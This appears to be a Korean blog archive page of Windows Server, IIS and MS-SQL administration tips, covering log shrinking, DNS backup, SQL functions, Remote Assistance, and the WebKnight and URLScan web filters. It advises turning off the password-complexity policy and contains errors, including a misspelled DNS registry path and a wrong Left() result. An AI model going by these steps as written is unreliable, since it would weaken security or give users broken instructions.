이 수식은 Excel의 여러 함수를 조합하여 작성되었으며 각 부분의 기능은 다음과 같습니다:
Search Results for '프로그래밍/윈도우 & MS-SQL'
128 posts related to '프로그래밍/윈도우 & MS-SQL'
- 2023/09/13 Excel - 엑셀 2개 시트 값 비교 하
- 2012/02/07 log 데이타 용량 초기화
- 2012/02/07 Windows2008 R2 암호 복잡성 해제 방법
- 2011/11/23 윈도우 DNS 백업&복구
- 2011/11/23 MS-SQL 함수정의
- 2011/11/23 MS-SQL 사용자 소유 권한 변경
- 2011/11/23 Ms-Sql LDF파일 용량 줄이기
- 2011/11/23 Ms-Sql 암호화, 복호화 (PwdEncrypt, PwdCompare)
- 2011/11/14 윈도우7 원격제어 간단하게하기
- 2011/11/09 Microsoft® SQL Server® 2008 Express with Advanced Services 입니다.
- 2011/10/23 [Win2003]CDO.Message.1 오류 80070005 액세스가 거부되었습니다.
- 2011/10/21 호스트 파일 관리 프로그램
- 2011/06/11 IIS 7 - IIS 7 커맨드라인 관리도구 Appcmd 소개
- 2011/06/11 IIS 7 - PHP 설치, 설정 관리를 위한 PHP Manager for IIS
- 2011/06/11 IIS 7 - WebKnight 웹 서버 방화벽 사용법 1
- 2011/06/11 IIS 7 - URLScan - SQL 인젝션 공격이나 악의적인 공격으로부터 해방이다.
- 2011/06/11 MS 프로젝트 2003 한글 - MS Project 2003 Pro kor
- 2011/06/09 음력/양력/간지/공휴일 표시 MSQL DB 테이블
- 2011/05/29 윈도우용 gvim 에디터에서 새 탭으로 파일 열기.
- 2011/05/29 터미널 포트 변경.vbs
- 2011/05/14 터미널 포트 변경.vbs
- 2011/03/26 [MSSQL] 날짜 비교로 대량 데이터 처리
- 2011/01/27 터미널 2003 접속 정보(RDP File Settings)
- 2011/01/27 터미널 서비스의 접근 제어를 위해 포트 번호를 변경
- 2011/01/27 ASP 트로이잔 Webshell의 예방 및 문제해결방법
- 2011/01/27 윈도우에서 구동되는 포트번호
- 2011/01/27 SQL Injection 해킹 관련 자료, zxarps.exe Cain & Abel 등
- 2011/01/27 wmt에 대한 유용한 팁
- 2011/01/27 ASP 웹쉘 상세 분석 및 탐지 방안
- 2011/01/27 윈도우 보안 총정리
이 수식은 Excel의 여러 함수를 조합하여 작성되었으며 각 부분의 기능은 다음과 같습니다:
-- 로그 잘라내기
backup log test with no_log
sp_helpdb test
/*
name ...
----------------...
test ...
name ...
---------------...
test ...
test_log ... -- 축소하고자 하는 로그 파일명
*/
---------------------------
-- 로그 파일 축소
use test
go
dbcc shrinkfile (test_log,0)
/*
DbId FileId CurrentSize MinimumSize UsedPages EstimatedPages
------ ------ ----------- ----------- ----------- --------------
7 2 63 63 56 56
(1개 행 적용됨)
DBCC 실행이 완료되었습니다. DBCC에서 오류 메시지를 출력하면 시스템 관리자에게 문의하십시오.
*/
하지만 너무 복잡한 암호는 또 까먹기도 쉽기에 원하는대로 설정하기를 바라게 된다.
이 부분을 해제하기 위한 방법은
1. 관리도구 -> 로컬 보안정책 -> 계정 정책 -> 암호 정책 를 크릭하면
2. 오른쪽 리스트 중에 암호는 복잡성을 만족해야 함을 사용안함으로 변경한다.
DNS 백업&복구
DNS백업
1. DNS 서비스 중지
2. regedit 실행
3.
HKEY_LOCAL_MACHINE\SYSYEM\CirrentcControlSet\Servies\DNS 폴더를 내보내기 선택."DNS1"이라는
파일 이름으로 저장
4. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\Currentversion\DNS Server 폴더를 내보내기 선택. "DNS2"라는 파일이름으로 저장
5.
Windows\System32\DNS 디렉터리를 찾아서 확장자가 .dns인 모든파일복사
6. DNS 재시작.
DNS복구
1. 복사한 .dns확장자를 가진 파일을 Windows\System32\DNS에 복사
2. DNS서비스를
중지
3. .reg 확장자를 가진 두개의 파일을 클릭. 그리고 레지스트리에 설치 되었는지 확인.
4. DNS 서비스를 재시작.
MSSQL 함수 사용 및 예문들입니다.
환경은 MS-SQL2005 입니다
※ 문자열 함수 정리
1) Ascii() - 문자열의 제일 왼쪽 문자의 아스키 코드 값을 반환(Integer)
예) SELECT Ascii('abcd')
>> 결과는 a의 아스키 코드값인 97 반환
2) Char() - 정수 아스키 코드를 문자로 반환(Char)
예) SELECT Char(97)
>> 결과는 a 반환
3) Charindex() - 문자열에서 지정한 식의 위치를 반환
예) SELECT Charindex('b','abcde')
>> 결과 : 2
SELECT Charindex('b','abcde',2) >> 결과 :
2
SELECT Charindex('b','abcde',3) >> 결과 : 0
-- 인수값이 3개일때 마지막은 abcde 에서의 문자열 검색 시작위치를 말하며
2인경우는 bcde
라는 문자열에 대해서 검색
3인 경우는 cde 라는 문자열에 대해서 검색 하게 된다.
4) Difference() - 두 문자식에 SUONDEX 값 간의 차이를 정수로 반환
예) SELECT Difference('a','b')
5) Left() - 문자열에서 왼쪽에서부터 지정한 수만큼의 문자를 반환
예) SELECT Left('abced',3) 결과 >> 3
6) Len() - 문자열의 길이 반환
예) SELECT Len('abced') 결과>>5
7) Lower() - 대문자를 소문자로 반환
예) SELECT Lower('ABCDE') 결과 >> abcde
8) Ltrim() - 문자열의 왼쪽 공백 제거
예) SELECT Ltrim(' AB CDE') 결과>> AB CDE
9)Nchar() - 지정한 정수 코드의 유니코드 문자 반환
예) SELECT Nchar(20) 결과 >>
10) Replace - 문자열에서 바꾸고 싶은 문자 다른 문자로 변환
예) SELECT Replace('abcde','a','1') 결과>>1bcde
11) Replicate() - 문자식을 지정한 횟수만큼 반복
예) SELECT Replicate('abc',3) 결과>> abcabcabc
12) Reverse() - 문자열을 역순으로 출력
예) SELECT Reverse('abcde') 결과>> edcba
13) Right() - 문자열의 오른쪽에서 부터 지정한 수 만큼 반환(Left() 와 비슷 )
예) SELECT Right('abcde',3) 결과>> cde
14)Rtrim() - 문자열의 오른쪽 공백 제거
예) SELECT Rtrim(' ab cde ') 결과>> ' ab cde' <-- 공백구분을위해 ' 표시
15) Space() - 지정한 수만큼의 공백 문자 반환
예) SELECT Space(10) 결과 >> ' ' -- 그냥 공백이 나옴
확인을 위해서 SELECT 'S'+Space(10)+'E' 결과 >> S E
16) Substring() - 문자,이진,텍스트 또는 이미지 식의 일부를 반환
예) SELECT Substring('abcde',2,3) 결과>> bcd
17)Unicode() - 식에 있는 첫번째 문자의 유니코드 정수 값을 반환
예)SELECT Unicode('abcde') 결과 >> 97
18)Upper() - 소문자를 대문자로 반환
예) SELECT Upper('abcde') 결과>> ABCDE
※ 기타 함수 Tip
19) Isnumeric - 해당 문자열이 숫자형이면 1 아니면 0을 반환
>> 숫자 : 1 , 숫자X :0
예) SELECT Isnumeric('30') 결과 >> 1
SELECT Isnumeric('3z') 결과 >> 0
20) Isdate() - 해당 문자열이 Datetime이면 1 아니면 0
>> 날짜 : 1 , 날짜 X
:0
예) SELECT Isdate('20071231') 결과 >> 1
SELECT Isdate(getdate()) 결과 >> 1
SELECT
Isdate('2007123') 결과 >> 0
SELECT Isdate('aa') 결과 >> 0
※ 날짜및 시간함수 정리
getdate() >> 오늘 날짜를 반환(datetime)
1> DateAdd() - 지정한 날짜에 일정 간격을 + 새 일정을 반환
예) SELECT Dateadd(s,2000,getdate())
2> Datediff() - 지정한 두 날짜의 간의 겹치는 날짜 및 시간 범위 반환
예)SELECT DateDiff(d,getdate(),(getdate()+31))
3> Datename() -지정한 날짜에 특정 날짜부분을 나타내는 문자열을 반환
예) SELECT Datename(d,getdate())
4> Datepart() -지정한 날짜에 특정 날짜부분을 나타내는 정수를 반환
예) SELECT Datepart(d,getdate())
>> Datename , Datepart 은 결과 값은 같으나 반환 값의 타입이 틀림.
5> Day() -지정한 날짜에 일 부분을 나타내는 정수를 반환
예) SELECT Day(getdate()) -- 일 반환
SELECT Month(getdate()) -- 월 반환
SELECT Year(getdate()) -- 년 반환
6> Getutcdate() -현재 UTC 시간을 나타내는 datetime 값을 반환
예) SELECT Getutcdate()
exec sp_changeobjectowner 'getmeout.mem_staff_rank_temp','dbo'
-- DB 정보 보기
exec sp_helpdb testdb
-- LDF 파일 크기 줄이기 -- 트랜잭션 로그파일을 10메가로 생성
backup log testdb with
TRUNCATE_ONLY
DBCC SHRINKFILE ([testdb_Log], 10)
-- MDF 파일 크기 줄이기
DBCC SHRINKDATABASE(testdb)
-- MS-SQL의 ldf 파일 용량 줄이기
-- 트랜잭션 로그파일 최소의 단위로 축소
backup log testdb with
truncate_only
-- 트랜잭션 로그파일을 삭제
backup log testdb with no_log
-- 트랜잭션 로그파일을 10메가로 생성
dbcc shrinkfile (testdb_log, 10)
DBCC SHRINKFILE (file_name, target_size)
DBCC SHRINKDATABASE
(database_name, target_percent)
-PwdEncrypt : 컬럼의 데이터를 암호화한다. ex. PwdEncrypt('암호화할 데이터')
-PwdCompare : 암호화한 데이터를 비교해서 확인한다. ex. PwdCompare('데이터', 암호화컬럼)
간단 예제
create table TEST (
테이블을 만든 후
insert into TEST values (PwdEncrypt('1111'));
데이터를 암호화하여 넣은 후 select해보자
select PwdCompare('1111', password) from TEST
결과 : 1
select PwdCompare('2222', password) from TEST
결과 : 0
PwdCompare의 결과는 1이나 0으로 리턴된다. 1이면 맞는거고 0이면 틀린것이다.
현재 네이트온으로는 윈도우7의 원격지원을 행할수가없다(단, 사용자 계정 컨트롤을 해제하면 가능하다. 해제후 재부팅
사용후 원래대로 돌려놓고 재부팅의 과정은 불가피하다)
윈도우7은 별로 복잡하지 않는 방법으로도 원격 지원을 받을수
있다.(32bit/64bit 모두)
Xp에서 윈도우7. 윈도우7 에서 윈도우7 원격제어 모두 가능하다.
1. 제어판 > 모든 제어판 항목
> 문제해결 로 들어가서 좌측에 "친구에게
도움요청" 클릭
- 제어판에서 보기 기준 을 작은아이콘 으로 하면 문제해결 아이콘을 바로 클릭할수있고, 보기기준을
범주 로 한경우는 시스템보안 범주에 문제 찾기 및 해결 을 클릭하면 좌측으로
친구에게 도움요청 링크가 보인다.
2. 새로운 사용자에게 도움요청 클릭
- 다른 사용자의 도움요청에
응할 경우라면 하단에 원격지원으로 다른 사용지 지원 을 클릭하여 받은
도움요청 파일과 임호를 넣거나 간단 연결을 이용하면 제어가능
3. 새로운 사용자에게 도움요청 클릭시 도움 요청 종류가 총 3가지가 뜬다.
-
이 도움요청을 파일로저장 : 파일로 저장하고 개인 메일이나, 메신져등으로 전송. (지금은 이
방법으로 진행하여 설명하기로 한다)
- 전자메일을 사용하여 도움요청 : 도움요청파일을 바로 메일로 전송(해당
컴퓨터에 메일 클라이언트가 설정 되어있어야 한다)
- 간단한 연결 사용 : 도와주는 상대방도 간단 연결을
사용할수있다면 이메뉴를 클릭.
4. 이 도움 요청을 파일로 저장 : 찾기 편한 곳으로 선택하여
저장한다. ( 필자는 바탕화면에 저장)
- 초대.msrcIncident 이라는 파일이
저장된다.
5. 해당 파일을 저장하면 바로 윈도우 원격지원 세션창이 뜨는데 이창을 닫으면 원격제어가 종료 되고,
그 첫화면으로 도우미에게 도움 요충 파일과 암호를 알려주세요 라는 문구와 함게 암호가 나온다.
6. 저장한 파일을 전송하고 제어 를 해줄 도우미에게 암호를 알려준다.
- 도우미는 해당 파일을 더블릭하고 암호를 입력하면 제어를 할수있다.
- 원격제어 창에서 채트 라는 메뉴를 클릭하면 채팅 도 가능하다.(채팅/파일보내기 모두 가능하다.)
7. 파일을 받은 도우미는 받은 파일을 더블클릭하면 암호 입력창을 볼수있고 암호를 입력시 원격제어 요청 상태가 되고, 도움을 요청한 사용자가 해당 요청을 허가하면 바로 원격제어가 가능해진다.
Microsoft® SQL Server® 2008 Express with Advanced Services 입니다.
프로그래밍/윈도우 & MS-SQL | 2011/11/09 18:19퀴리분석기로 들어가서 모든작업이 가능하긴 하지만 가끔은 EM (엔터프라이즈관리자) 도 사용해야할 경우가 있지요
이때 편리한 프로그램을 소개합니다
Microsoft® SQL Server® 2008 Express with Advanced Services 라는 것으로 인터페이스는 SQL2008 를
닮았으며 SQL 2008 처럼 퀴리분석기과 EM 이 같이 합쳐진듯한 느낌의 인터페이스 입니다
무료로 마이크로소프트에서 배포하는 프로그램입니다
Microsoft SQL Server 2008 Express with Tools는 사용이 용이한 SQL Server Express 데이터 플랫폼의 무료 버전입니다. 이 버전에는 웹 또는 로컬 데스크톱용으로 강력한 데이터 기반 응용 프로그램을 더욱 손쉽게 개발할 수 있는 그래픽 관리 도구가 포함되어 있습니다.
개요
Microsoft SQL Server 2008 Express with Tools는 그래픽 관리 도구인 SQL Server Management Studio (SMSS) Express가 포함되어 있는 사용이 용이한 SQL Server Express의 무료 버전입니다. SQL Server 2008 Express는 다양한 기능, 데이터 보호 및 빠른 성능을 제공하며 소규모 서버 응용 프로그램과 로컬 데이터 저장소에 적합합니다.
응용 프로그램의 포함된 일부로 무료 다운로드, 배포 및 재배포가 가능한 SQL Server Express with Tools를 통해 데이터 기반 응용 프로그램을 쉽고 빠르게 개발하고 관리할 수 있습니다.
시스템 요구 사항
- 32비트 시스템: Intel 또는 호환 가능한 1GHz 이상의 프로세서가 장착된 컴퓨터(2GHz 이상 권장, 단일 프로세서만 지원됨)
- 64비트 시스템: 1.4 GHz 이상의 프로세서(2GHz 이상 권장, 단일 프로세서만 지원됨)
- 최소 512MB RAM(1GB 이상 권장)
- 1GB의 여유 하드 디스크 공간
참고: 이 릴리스에서는 Windows XP Embedded Edition은 지원하지 않습니다.
참고: SQL Server Express를 설치하려면 컴퓨터에 대한 관리 권한이 있어야 합니다.
SQL Server Express with Tools를 설치하기 전에 릴리스 정보와 추가 정보를 읽는 것이 좋습니다.
1단계: Microsoft .Net Framework 3.5 SP1을 다운로드하고 설치합니다.
2단계: Windows Installer 4.5를 다운로드하고 설치합니다.
3단계: Windows PowerShell 1.0을 다운로드하고 설치합니다.
참고: Windows Powershell 1.0 설치에 대한 자세한 내용은 다음 기술 자료 문서를 참조하십시오.
4단계: 이 페이지 뒷부분의 적절한 링크를 클릭하여 SQL Server 2008 Express with Advanced Services를 다운로드합니다. 즉시 설치를 시작하려면 실행을 클릭하고, 나중에 SQL Server Express를 설치하려면 저장을 클릭합니다.
프로그램 : 익스체인지서버
인 경우에 CDO.Message를 이용하고자 할 경우
웹사이트 등록정보에서 응용프로그램 풀을 다음과 같이 변경한다.
DefaultPool => ExchangeApplicantPool
혹시 이렇게 해도 안되면...
c:\windows\system32\cdosys.dll 파일에 웹게스트권한 추가해 준다
[관리 방법]
1. 폴더 관리
폴더는 6개가 관리됩니다.
실행 파일 폴더에 있는 Policies 폴더와
Option.ini 파일에 5개의 폴더를 세팅할 수 있습니다.
2. 호스트 파일 관리
호스트 파일은 host 라는 확장자를 씁니다.
Policies 폴더에 sample.host 파일과 같이 첫번째 줄에는 디폴트 URL을 적고 그 아래 호스트 정책 내용 을 적으면 됩
니다.
-- 호스트 파일 생성/삭제, 호스트 내용 변경은 프로그램상에서도 가능합니다.
3. 프로그램 우측 상단에 "실행/종료시 익스플로어를 모두 종료"를 체크하면 호스트 적용/해제시에 익스플로어가 모
두 종료됩니다.
[사용법]
1. 상단 탭에서 폴더 "클릭"
2. 좌측의 파일 리스트 중에 적용할 파일 "더블 클릭"
3. 좌측 상단에 ▶ 적용 버튼을 누르면 호스트가 적용되고, 해제를 누르면 호스트 적용이 해제 됩니다.
출처 : http://www.saltsoft.com
이번 포스팅에서는 IIS 7 에서 제공되는 새로운 커맨드라인(Command-line) 관리도구 Appcmd.exe 도구를 소개 드립니다. Appcmd.exe 도구를 사용하면 GUI 환경의 인터넷 정보 서비스 관리자를 사용하지 않고 쉽고 빠르게 서버를 제어할 수 있는 기능을 제공합니다. Appcmd.exe 를 통해서 대표적으로 아래 기능들을 수행할 수 있습니다.
* 웹 사이트, 응용 프로그램 풀, 가상 디렉터리의 생성, 삭제, 변경, 설정
* 웹 사이트, 응용 프로그램 풀의 시작, 중지, 재생
* 실행 중인 worker process, 요청에 대한 정보 보기
* IIS, ASP.NET 설정에 대한 가져오기, 내보내기, 변경
Appcmd.exe 도구는 %systemroot%\system32\inetsrv 경로에 있으며 명령을 실행하는 방법은 아래와 같습니다.
사용방법) APPCMD (command) (object-type) <identifier> < /parameter1:value1 ... >
APPCMD 도구를 사용할 때 지원하는 명령, 개체 유형은 아래와 같습니다.
1. 명령(Command)
add, clear, configure, delete, inspect, install, list, lock, migrate, recycle, reset, restore, search, set, start, stop, uninstall, unlock
2. 개체 유형(object-type)
site, app, vdir, apppool, config, wp, request, module, backup, trace
실제 운영 서버에 사용해 볼만한 몇 가지 명령들을 예제로 정리하였습니다.
1. APPCMD list 명령을 통해 사이트, 응용 프로그램 풀, Worker Processes, 가상 디렉터리 정보 조회
가. Appcmd list site
나. Appcmd list app
다. Appcmd list wp
라. Appcmd list vdir
2. List 명령과 /text:* 파라미터를 추가하여 "xe" 웹 웹사이트에 대한 자세한 정보 얻기
가. Appcmd list app "xe/" /text:*
3. 설치된 모듈 확인
가. Appcmd list module
4. 현재 실행 중인 요청 확인
가. Appcmd list request /site.name:"WEB1"
C:\Windows\System32\inetsrv>APPCMD list request /site.name:"WEB1"
REQUEST "c900000080003a68" (url:POST /MiniPopupMonitor/WebServiceMessenger.asmx,
time:15 msec, client:192.168.0.101, stage:MapRequestHandler, module:ManagedPipelineHandler)
C:\Windows\System32\inetsrv>APPCMD list request /site.name:"WEB1"
REQUEST "b70000008000a3f1" (url:POST /MiniPopupMonitor/WebServiceMessenger.asmx,
time:15 msec, client:192.168.0.102, stage:SendResponse, module:IIS Web Core)
C:\Windows\System32\inetsrv>APPCMD list request /site.name:"WEB1"
REQUEST "ed0000008000d2ee" (url:POST /LoginS.aspx, time:141 msec, client:192.168.0.101,
stage:MapRequestHandler, module:ManagedPipelineHandler)
C:\Windows\System32\inetsrv>APPCMD list request /site.name:"WEB1"
REQUEST "f4000000800083a3" (url:GET /data/images/skin/2 Window_Data Popup/imag
es/dwframe_1.gif, time:16 msec, client:192.168.0.103, stage:SendResponse, module:IIS Web Core)
5. Site 상태 제어
가. Appcmd stop site /site.name:XE
나. Appcmd start site /site.name:XE
6. 글로벌 서버 설정 백업과 복원
가. Appcmd add backup
나. Appcmd restore backup /backup.name:"20101215T224415"
위와 같이 몇 가지 예제를 통해서 appcmd command-line 도구를 활용하는 방법에 대해서 간단히 확인하였습니다. 위 예제에서 다뤄보지 못한 개체 유형(object-type)과 명령(command)이 아직 많이 있으니 도움말을 통해 확인해 보시고 이외에도 유용한 명령이 있으면 추천 부탁 드립니다.
IIS 7 에서 PHP 웹 어플리케이션 사용하신다면 PHP Manager for IIS 모듈을 설치하여 PHP 설치, 설정 관리를 보다 쉽게 하실 수 있습니다. PHP Manager for IIS 모듈에서 제공하는 기능은 아래와 같습니다.
1. 새로운 PHP 버전 설치(등록)
2. PHP 구성에 대한 검증 권장 설정 가이드
3. 다른 여러 버전의 PHP 실행
4. phpinfo() 함수 실행을 통한 설정 점검
5. 다양한 PHP 설정 구성
6. PHP 확장(Extensions) 활성화 또는 비활성화
7. PHP.INI 파일 원격 관리
다소 복잡해 보이고 익숙하지 않은 PHP.INI 설정 파일을 메모장으로 열어 수정한 뒤 검증하는 데까지 발생하는 불편함을 GUI 를 통해 보다 쉽고 간편하게 관리할 수 있는 이점이 있으며 사이트마다 별도의 PHP 버전 적용이 용이한 이점이 있습니다. 그럼, 설치 및 간단히 기능에 대해서 살펴 보도록 하겠습니다.
[설치]
웹 플랫폼 설치 관리자를 사용하시면 쉽게 PHP Manager for IIS를 설치하실 수 있습니다. 설치 방법은 아래와 같습니다.
웹 플랫폼 설치 관리자 - 제품 - PHP Manager for IIS(영어) - 추가 - 설치
또는 아래 링크를 통해 최신버전을 직접 다운로드 받아 설치하실 수 있습니다.
PHP Manager for IIS
http://phpmanager.codeplex.com/releases/view/59970
[기능 살펴보기]
설치가 완료되면 인터넷 정보 서비스 관리자의 기능 보기 메뉴를 통해 새롭게 추가된 "PHP Manager" 모듈을 확인하실 수 있습니다. PHP 5.3.5 버전에 Xpress Engine 이 설치되어 있는 테스트 환경에서 PHP Manager 기능을 실행하여 인터페이스를 살펴보도록 하겠습니다.
PHP Setup, Settings, Extensions 3가지 카테고리로 구분되어 있으며 포스팅 서두에서 언급한 것과 같이 모듈에서 지원하는 기능에 대한 인터페이스를 보실 수 있습니다.
1. View recommendations
PHP Manager 실행 시 가장 먼저 상위에 있는 PHP Setup 항목에 PHP 최적 구성을 권장하기 위한 경고 알림 느낌표가 나타난 것을 확인할 수 있습니다. "View recommendations" 를 클릭하여 어떤 메시지인지 확인해 봅니다.
기본 문서가 Default.htm 으로 설정되어 있으며 index.php 로 변경할 것을 가이드 하고 있습니다. 해당 항목을 체크한 뒤 확인 버튼을 클릭하시면 "기본 문서" 설정의 기본 값을 자동으로 변경해 줍니다. 그 외 권장되는 설정들의 항목이 발견되었다면 아래 제시된 설명을 참조하여 반영 여부를 결정해 주시면 됩니다.
2. Register new PHP version
새로운 버전의 PHP 를 설치하였을 때, php-cgi.exe path 를 설정할 수 있습니다.
3. Change PHP version
여러 버전의 PHP 가 설치되어 있을 때, 해당 웹 사이트의 PHP 버전을 선택하여 적용할 수 있습니다.
4. Check phpinfo()
phpinfo() 함수 실행 결과를 바로 확인할 수 있습니다.
5. Configure error reporting
PHP 오류 리포팅 종류와 로그 파일 경로를 지정할 수 있습니다. 개발 머신으로 선택할 경우 모든 오류, 경고와 알림 메시지를 로그 파일로도 기록할 수 있습니다.
6. Set runtime limits
런타임 제한 설정을 지정할 수 있습니다. Maximum Execution Time 값은 PHP.INI 의 max_execution_time 설정이 됩니다.
7. Manage all settings
복잡한 PHP.INI 메모장으로 편집하던 불편함을 에디팅 도구를 통해 간편하게 설정할 수 있습니다.
8. Enable or disable an extension
Extensions 의 활성/비활성화 또는 추가할 수 있는 인터페이스를 제공합니다.
9. Add an extension
Extensions 을 추가할 수 있는 인터페이스를 제공합니다.
PHP Manager for IIS 1.1 버전에서 제공하는 기능과 인터페이스를 살펴 봤습니다. PHP 를 사용하신다면 유용한 모듈이 되겠습니다.
요청 필터링, URLScan 에 이어 이번에는 IIS 웹 서버에 설치할 수 있는 공개용 방화벽 WebKnight 에 대해서 간략히 정리해 봅니다. 이미 한국정보보호진흥(KISA)원에서 제공하는 "WebKnight를 활용한 IIS 웹서버 보안 강화 가이드" 라는 한글화 된 문서로 잘 정리되어 있으므로 WebKnight 에 대한 전반적인 사항은 아래 링크를 참조해 주시면 좋을 것 같습니다.
WebKnight 자료실
http://toolbox.krcert.or.kr/MMBF/MMBFBBS_S.aspx?MENU_CODE=37&BOARD_ID=8
그래서 이번 포스팅에서는 WebKnight 의 간단한 개요와 실제 IIS 7.5 환경에서 설치하고 기본적으로 제공되는 규칙을 통해 필터링이 동작하는 방법을 간략히 살펴 보도록 하겠습니다.
WebKnight 는 AQTRONIX (http://www.aqtronix.com/?PageID=99) 에서 제공하는 공개용 웹 서버 방화벽입니다. URLScan 툴과 마찬가지로 ISAPI (Internet Server API) 필터에 해당 모듈 DLL 파일을 등록하여 사용하게 됩니다. WebKnight 는 오픈 소스로 제공되며 차단된 기록에 대해서 로깅 정보를 제공해 줍니다. 그리고 Windows Installer 패키지를 사용하여 쉬운 설치가 가능하며 필터링 규칙 및 옵션 변경을 GUI 로 제어할 수는 이점이 있습니다. 또한 설정 변경 후 웹 서비스 재시작이 필요없이 런타임 업데이트가 가능한 특징을 가지고 있습니다.
[WebKnight 설치]
1. WebKnight 2.3 다운로드
http://aqtronix.com/?PageID=99#Download
2. ISAPI 필터 설치
가. URLScan 설치와 마찬가지 WebKnight 를 사용하기 위해서는 설치하기 앞서 ISAPI 필터 모듈이 설치되어 있어야 합니다.
나. 역할 서비스 - 웹 서버 - 응용 프로그램 개발 - ISAPI 필터
3. 다운로드 파일 압축 해제 및 WebKnight.msi 파일 설치
가. MSI 파일로 설치할 경우 자동으로 ISAPI 필터에 WebKnight DLL 이 등록됩니다. (사전에 ISAPI 필터 모듈이 설치되어 있어야 함)
4. 설치 확인
가. 인터넷 정보 서비스 관리자 - ISAPI 필터
나. 이름 : WebKnight, 실행 파일 : C:\Program files\AQTRONIX WebKnight\WebKnight.dll
5. 기본 설정
가. 시작 - 모든 프로그램 - AQTRONIX WebKnight - WebKnight Configuration - WebKnight.xml
1) Mapped Path – Use Allowed Paths - 홈 디렉터리 경로 추가
나. WebKnight 폴더 권한 부여 (응용 프로그램 풀 계정)
1) 탐색기를 실행하여 C:\Program files\AQTRONIX WebKnight 폴더에 대해서 속성 - 보안 - 추가
가) IIS 7.0 환경인 경우 : NETWORK SERVICE 계정 추가
나) IIS 7.5 환경인 경우 : IIS_USERS 계정 추가
다. IIS 서비스 재시작
[WebKnight 규칙 적용 테스트]
WebKnight 를 설치하면 기본적으로 Denied Extensions 항목에 아래와 같은 확장자들이 차단되도록 규칙이 생성되어 있습니다. 예로 .inc 파일에 접근했을 때, 어떻게 동작하는 지 살펴 보겠습니다.
inc 확장자를 요청하게 되는 경우 WebKnight 기본 차단 규칙에 포함된 확장자에 해당하므로 WebKnight 에서 제공되는 준비된 경고 페이지를 보여주게 됩니다.
이 때, 어떤 접근에 의해 차단되었는지 확인하기 위해서는 아래 경로에 기록되는 로그 파일을 참조하여 "BLOCKED" 메시지를 확인해 보시면 됩니다. 또는 함께 제공되는 LogAnalysis.exe 툴을 사용하면 GUI 인터페이스로 로그 파일을 쉽게 확인하고 분석하는 데 유용하게 활용할 수 있습니다.
C:\Program Files\AQTRONIX WebKnight\Logfiles 폴더 아래 순차적으로 로그 파일 기록되어 있습니다.
Software: AQTRONIX WebKnight 2.3
#Date: 2010-11-23 16:04:13
#LogTime: GMT (Local-09:00)
#Fields: Date ; Time ; Site Instance ; Event ; Client IP ; Username ; Host header ; Additional info about request (event specific)
…… (중략)
2010-11-23 ; 16:06:02 ; W3SVC1 ; OnPreprocHeaders ; ::1 ; ; localhost ; GET ; /a.inc ; BLOCKED: accessing/running '.inc' file ; HTTP/1.1 ; Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729) ; lang_type=ko; PHPSESSID=7t5nle5ubhdb8c0qspkslh3ts1 ;
WebKnight 가 제공하는 많은 필터링 기능 중 확장자 제한 규칙에 대해서 간단한 테스트를 확인해 보았으며 그 이외에도 아래와 같이 다양한 필터링 기능을 설정할 수 있습니다.
이 자료는 KrCERT-TR-2008-004 "WebKnight를 활용한 IIS 웹서버 보안 강화 가이드"에 포함된 내용을 캡쳐하였습니다. 전반적인 규칙 기능에 대한 설명입니다.
WebKnight 를 설치하게 되면 기본값으로 설정된 차단 정책이 곧바로 동작하게 되므로 로그를 확인하여 정상적인 서비스가 차단되지 않았는지 반드시 확인하셔야 합니다. 보안 장비, 상용 보안 툴을 사용할 수 없는 환경이라면 요청 필터링, URLScan, WebKnight 를 통해서도 충분히 일반적인 공격에 대한 차단 효과를 얻을 수 있습니다. 물론 환경에 맞는 충분한 테스트가 필요하겠습니다.
UrlScan 3.1 은 IIS 웹 서버 운영 환경에서 유해한 특정 HTTP 요청을 차단하는 보안 기능을 제공하는 툴입니다. 웹 서버에 요청되는 패킷을 분석하는 ISAPI 필터에 등록되어 일반적이지 않은 요청 즉, 대표적으로 SQL 인젝션 공격이나 악의적인 공격으로부터 웹 서버를 보호할 수 있는 기능을 지니고 있습니다.
URLScan 을 구성할 경우 아래와 같은 항목들에 대해서 HTTP 요청을 거부할 수 있습니다.
HTTP 요청 메소드/동사(Verb), 요청된 파일 이름 확장자, 의심스런 URL 인코딩, URL 에 non-ASCII 문자열/특정 문자열, 요청에 특정 헤더 항목이 있는 경우 설정에 의한 거부가 가능합니다.
[설치]
URLScan 3.1 버전은 Internet Information Services 5.1(Windows XP), 6.0 or 7.0 에서 사용할 수 있으며 x86, x64 시스템에 해당하는 버전을 다운로드 받아 설치할 수 있습니다. 설치 방법은 아래와 같습니다.
1. 다운로드
Microsoft Urlscan Filter v3.1 (x64)
http://www.microsoft.com/downloads/en/details.aspx?FamilyID=361E5598-C1BD-46B8-B3E7-3980E8BDF0DE
2. URLScan 사용을 위한 역할 서비스 사전 설치
가. 역할 서비스 - 웹 서버 - 응용 프로그램 개발 - ISAPI 필터
나. 역할 서비스 - 웹 서버 - 관리도구 - IIS 6 관리 호환성 - IIS 6 메타베이스 호환성
'IIS 6 메타베이스 호환성' 모듈을 설치하지 않을 경우 설치 시 만약 아래 오류가 발생할 수 있습니다.
IIS Metabase is required to install Microsoft URLScan filter v3.1
3. URLScan 3.1 설치 (x64 기준)
가. %windir%\system32\inetsrv\urlscan 폴더가 생성되고 urlscan.dll, urlscan.ini, log 폴더 생성
나. %windir%\syswow64\inetsrv 폴더가 생성되고 urlscan.dll 파일 생성
4. 설치 확인
가. 인터넷 정보 서비스 관리자 - ISAPI 필터
나. URLscan 3.1 - C:\Windows\system32\inetsrv\urlscan\urlscan.dll 등록 확인
(만약 URLScan 설치 후 ISAPI 필터 기능을 설치하였다면 수동으로 '추가' 할 수 있습니다)
설치 및 ISAPI 필터 추가 방법은 아주 간단합니다. 실제 필터링 규칙을 적용하기 위해서는 URLScan.ini 설정을 통해서 이루어집니다. URLScan.ini 옵션은 아래 microsoft.com 웹 사이트에 상세히 설명되어 있습니다. 중복되는 내용은 포스팅 하지 않으려고 합니다. 옵션에 대한 설명은 아래 링크를 참조해 보시기 바랍니다.
UrlScan 3 Reference
http://learn.iis.net/page.aspx/938/urlscan-3-reference/
How to configure the URLScan Tool
http://support.microsoft.com/kb/326444/en-us
많은 필터링 옵션을 제공하지만 가장 간단히 요청 파일 이름 확장자를 URLScan 을 통해 차단하는 방법을 소개해 드립니다.
[시나리오1]
